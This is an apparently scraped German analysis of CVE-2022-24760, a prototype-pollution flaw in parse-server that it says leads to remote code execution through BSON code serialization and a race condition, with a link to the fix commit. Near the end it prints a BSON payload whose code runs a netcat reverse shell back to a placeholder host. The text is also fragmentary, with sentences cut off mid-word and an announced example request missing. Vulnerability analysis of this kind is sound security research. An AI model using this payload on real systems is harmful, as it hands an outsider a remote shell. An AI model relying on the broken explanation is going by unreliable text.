
Detaillierte technische Analyse von CVE-2022-24760, einer Prototype-Pollution-Schwachstelle in parse-server, die zu Remote-Code-Ausführung durch BSON-Serialisierung und Ausnutzung von Race Conditions führt.



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPath auf.DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult wird beim Hinzufügen und Aktualisieren neuer Klassen verwendet. Allerdings muss die Bedingung erfüllt sein, dass der keyUpdate __op in ['Add', 'AddUnique', 'Remove', 'Increment'] enthalten ist, damit das Prototype gelingt.
Daher können die Prototype-Werte nur array oder number sein.


Beispielanfrage wie:

serializet. Wenn _bsontype Code ist, wird serializeCode durchgeführt.
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



options['evalFunctions'] zu verschmutzen -> Bypass zur Funktion isolateEval."_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath nach der Deserialisierung erfolgt, muss kontinuierlich eine Race Condition durchgeführt werden, damit beim Erreichen von isolateEval ausgelöst werden kann.